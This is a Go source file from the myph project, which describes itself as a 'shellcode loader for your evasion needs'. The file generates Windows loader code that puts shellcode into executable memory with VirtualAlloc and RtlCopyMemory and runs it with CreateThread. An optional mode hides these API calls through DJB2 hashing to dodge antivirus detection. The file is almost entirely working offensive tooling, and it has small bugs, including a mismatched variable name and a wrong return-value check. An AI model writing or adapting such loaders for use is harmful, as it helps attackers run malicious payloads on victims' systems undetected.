myph~ shellcode loader for your evasion needs |
| git clone https://github.com/matro7sh/myph.git |
| log | files | refs | archive | README | LICENSE |
createThread.go (3989B)
1 package loaders 2 3 import ( 4 "fmt" 5 "strings" 6 ) 7 8 type CreateTTemplate struct { 9 UseApiHashing bool 10 HashMethod string 11 } 12 13 func (t CreateTTemplate) Import() string { 14 if t.UseApiHashing { 15 return fmt.Sprintf(` 16 import ( 17 "fmt" 18 "log" 19 "os" 20 "syscall" 21 "unsafe" 22 23 "github.com/Binject/debug/pe" 24 loader "github.com/cmepw/myph/internals" 25 ) 26 `) 27 } 28 29 return fmt.Sprintf(` 30 import ( 31 "syscall" 32 "unsafe" 33 ) 34 `) 35 } 36 37 func (t CreateTTemplate) Const() string { 38 if !t.UseApiHashing { 39 40 return fmt.Sprintf(` 41 const ( 42 MEM_COMMIT = 0x1000 43 MEM_RESERVE = 0x2000 44 PAGE_EXECUTE_READWRITE = 0x40 45 ) 46 47 var ( 48 kernel32 = syscall.MustLoadDLL("kernel32.dll") 49 ntdll = syscall.MustLoadDLL("ntdll.dll") 50 51 WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject") 52 VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") 53 CreateThread = kernel32.MustFindProc("CreateThread") 54 55 RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") 56 ) 57 `) 58 59 } 60 61 return fmt.Sprintf(` 62 const ( 63 MEM_COMMIT = 0x1000 64 MEM_RESERVE = 0x2000 65 PAGE_EXECUTE_READWRITE = 0x40 66 ) 67 68 69 `) 70 } 71 72 func (t CreateTTemplate) Init() string { 73 return fmt.Sprintf("\n") 74 } 75 76 func (t CreateTTemplate) Process() string { 77 if t.UseApiHashing { 78 79 return fmt.Sprintf(` 80 ntdll, err := pe.Open("C:\\Windows\\System32\\ntdll.dll"); if err != nil { 81 fmt.Println(err.Error()) 82 os.Exit(1) 83 } 84 defer ntdll.Close() 85 86 87 kernel32, err := pe.Open("C:\\Windows\\System32\\kernel32.dll"); if err != nil { 88 fmt.Println(err.Error()) 89 os.Exit(1) 90 } 91 defer kernel32.Close() 92 93 94 var addr uintptr 95 regionsize := uintptr(len(shellcode)) 96 VirtualAlloc, err := loader.LoadFunctionFromHash(loader.HashDJB2, "32b0ac787d4dba31", kernel32) 97 if err != nil { 98 log.Fatal(err) 99 } 100 101 addr = loader.HashedCall( 102 VirtualAlloc, 103 0, 104 regionSize, 105 MEM_COMMIT|MEM_RESERVE, 106 PAGE_EXECUTE_READWRITE, 107 ) 108 109 if addr == 0 { 110 log.Fatal("Error: null return value") 111 } 112 113 RtlCopyMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "7a4c2ed807c8fcf1", ntdll) 114 if err != nil { 115 log.Fatal(err) 116 } 117 118 rvalue := loader.HashedCall( 119 RtlCopyMemory, 120 addr, 121 (uintptr)(unsafe.Pointer(&shellcode[0])), 122 regionsize, 123 ); if addr != 0 { 124 log.Fatal("Error: invalid return value") 125 } 126 127 CreateThread, err := loader.LoadFunctionFromHash(loader.HashDJB2, "65dd5ebc0ad0132a", kernel32) 128 if err != nil { 129 log.Fatal(err) 130 } 131 132 threadAddr := loader.HashedCall( 133 CreateThread, 134 0, 135 0, 136 addr, 137 0, 138 0, 139 0, 140 ) 141 142 WaitForSingleObject, err := loader.LoadFunctionFromHash(loader.HashDJB2, "aabf4c35522cfc3e", kernel32) 143 if err != nil { 144 log.Fatal(err) 145 } 146 147 148 loader.HashedCall( 149 WaitForSingleObject, 150 threadAddr, 151 0xFFFFFFFF, 152 ) 153 154 `) 155 156 } 157 158 return fmt.Sprintf(` 159 addr, _, _ := VirtualAlloc.Call( 160 0, 161 uintptr(len(shellcode)), 162 MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE, 163 ) 164 165 _, _, _ = RtlCopyMemory.Call( 166 addr, 167 (uintptr)(unsafe.Pointer(&shellcode[0])), 168 uintptr(len(shellcode)), 169 ) 170 171 threadAddr, _, _ := CreateThread.Call( 172 0, 173 0, 174 addr, 175 0, 176 0, 177 0, 178 ) 179 180 WaitForSingleObject.Call( 181 threadAddr, 182 0xFFFFFFFF, 183 ) 184 `) 185 } 186 187 func (t CreateTTemplate) GetTemplate(targetProcess string) string { 188 InformProcessUnused(targetProcess) 189 190 var template = ` 191 package main 192 193 __IMPORT__STATEMENT__ 194 195 __CONST__STATEMENT__ 196 197 func ExecuteOrderSixtySix(shellcode []byte) { 198 199 __IMPORT__INIT__ 200 201 __IMPORT__PROCESS__ 202 203 } 204 ` 205 template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1) 206 template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1) 207 template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1) 208 template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1) 209 210 return strings.Replace(template, "__PROCESS__", targetProcess, -1) 211 }